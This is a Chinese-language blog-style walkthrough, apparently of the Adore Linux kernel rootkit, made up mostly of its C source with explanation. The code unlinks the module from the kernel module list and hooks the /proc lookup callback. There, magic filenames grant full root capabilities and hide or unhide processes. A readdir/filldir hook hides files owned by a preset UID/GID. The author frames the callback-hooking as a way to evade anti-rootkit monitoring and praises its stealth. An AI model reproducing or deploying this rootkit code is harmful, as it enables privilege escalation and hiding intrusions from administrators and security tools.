这个rootkit使用的技术不比前一个,它不是拦截系统调用,而是拦截具体文件系统的回调函数,本身文件系统的回调函数就是动态注册的,很是不确定,那么反黑软件自然就不能简单下结论说这个函数被黑掉了,因此这个rootkit看来比前一个略胜一筹,自然的,既然是内核模块,那么模块隐藏也是一个重要的内容,以下是一个简单的模块隐藏代码,使用此代码的前提就是将此模块紧接着希望被隐藏的模块之后加载:
...//省略头文件
int init_module()
{
if (__this_module.next) //这个逻辑很简单,由于被隐藏的模块在这个模块之前加载,那么之需要更改该模块的next指针即可
__this_module.next = __this_module.next->next;
return 0;
}
...//省略
该rootkit的第一步就是用所有的进程构建一个位图hidden_procs,如果哪个进程需要隐藏,那么就将该进程的pid所在的位置置1,反之置0
inline void hide_proc(pid_t x)
{
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
}
inline void unhide_proc(pid_t x)
{
if (x >= PID_MAX)
return;
hidden_procs[x/8] &= ~(1<<(x%8));
}
以下这个函数实际上和本rootkit无关,仅仅是一个帮助函数,但是还是列出来了,该函数的意义在于将一个字符串转化为一个数字
int adore_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
以下函数判断一个进程是否被隐藏,其实很简单,简单的说如果位图上该进程的pid对应的位置是1,那么就该隐藏,反之就不该被隐藏,另外还有一个策略,就是隐藏进程的子进程也应该被隐藏:
int should_be_hidden(pid_t pid)
{
struct task_struct *p = NULL;
if (is_invisible(pid)) {
return 1;
}
p = adore_find_task(pid);
if (!p)
return 0;
task_lock(p);
if (is_invisible(p->parent->pid)) {
task_unlock(p);
hide_proc(pid);
return 1;
}
task_unlock(p);
return 0;
}
查看进程的ps命令主要是遍历/proc文件系统的根目录,只要是数字的那么就被视为一个进程的pid,该rootkit隐藏进程的策略很简单,就是:
sprintf(buf, APREFIX"/hide-%d", pid);
close(open(buf, O_RDWR|O_CREAT, 0));
由于open系统调用最终肯定会调用lookup回调函数,那么就在该lookup中做文章,如果想隐藏pid为n的进程,我们先在/proc创建一个新的文件hide-n文件,由于我们已经黑掉了具体proc文件系统的lookup回调函数为adore_lookup,所以我们可以将隐藏进程的操作放到该lookup中,在该lookup中如果发现有文件的前缀为hide-,那么我们就调用hide_proc函数,具体的pid就是该新建文件的第五个字符之后的字符串转化为数字。注意,这个adore_lookup函数一举两得,在新建带有hide-前缀文件的时候会隐藏文件,在ps命令查看进程的时候如果是已经隐藏的文件会返回NULL,这里有人可能会问,在/proc目录是没有权限创建新文件的,是的,是没有权限,关键是我们创建文件的目的不是创建一个新文件,而是仅仅希望使执行流到达lookup,从而调用hide_proc的目的,仅此而已:
struct dentry *adore_lookup(struct inode *i, struct dentry *d)
{
task_lock(current);
if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
current->flags |= PF_AUTH;
current->suid = ADORE_VERSION;
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "fullprivs", 9) == 0) {
...//所有id设置为0,代表root
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "hide-", 5) == 0) { //想隐藏进程,只需在proc目录新建一个hide-(pid)即可
hide_proc(adore_atoi(d->d_iname+5));
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "unhide-", 7) == 0) {
unhide_proc(adore_atoi(d->d_iname+7));
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "uninstall", 9) == 0) {
cleanup_module();
}
task_unlock(current);
if (should_be_hidden(adore_atoi(d->d_iname)) && !should_be_hidden(current->pid))
return NULL;
return orig_proc_lookup(i, d);
}
到此为止,进程已经隐藏了,那么端口怎么隐藏呢?很简单,同样的办法,拦截/proc文件系统就是了,最后文件怎么隐藏呢?如果想达到ls显示不出隐藏文件的目录,简单的办法就是黑掉文件系统的readdir回调函数:
int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r = 0;
if (!fp || !fp->f_vfsmnt)
return 0;
root_filldir = filldir; //保存原先的filldir
root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
r = orig_root_readdir(fp, buf, adore_root_filldir);
return r;
}
int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
struct inode *inode = NULL;
int r = 0;
uid_t uid;
gid_t gid;
if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
return 0;
uid = inode->i_uid;
gid = inode->i_gid;
iput(inode);
if (uid == ELITE_UID && gid == ELITE_GID) { //如果文件的uid和gid被设置成实现约定好的id,那么就说明该文件要隐藏了,想隐藏文件,只需要调用lchown将文件的uid和gid改变即可
r = 0; //碰到隐藏文件直接返回不再继续查找
} else
r = root_filldir(buf, name, nlen, off, ino, x); //如果不需要隐藏,那么调用原先的filldir
return r;
}
注意,本rootkit并没有拦截掉getdents64和getdents系统调用本身,而是直接拦截getdentsXX调用的file_operations中的readdir回调函数,这种方式很灵活而又不容易被发现,毕竟反黑程序可以监视系统调用的地址却不能简单的监视回调函数的地址,因为重要我注册一个新的文件系统,那么就会有一个新的地址,如果反黑程序那么负责总有一天会累死的,随着文件系统的增多,反黑程序会带跨整个系统的。
到此为止,该rootkit的大致框架已经搭建完毕,和上一个rootkit想必,该rootkit更隐蔽,没有使用很容易出错的并且和机器相关的汇编代码,仅仅使用标准c语言的指针操作即可,很直观,彻底告别了汇编,之需要你对内核文件系统的流程有一个简单的了解就可以完成,很不错。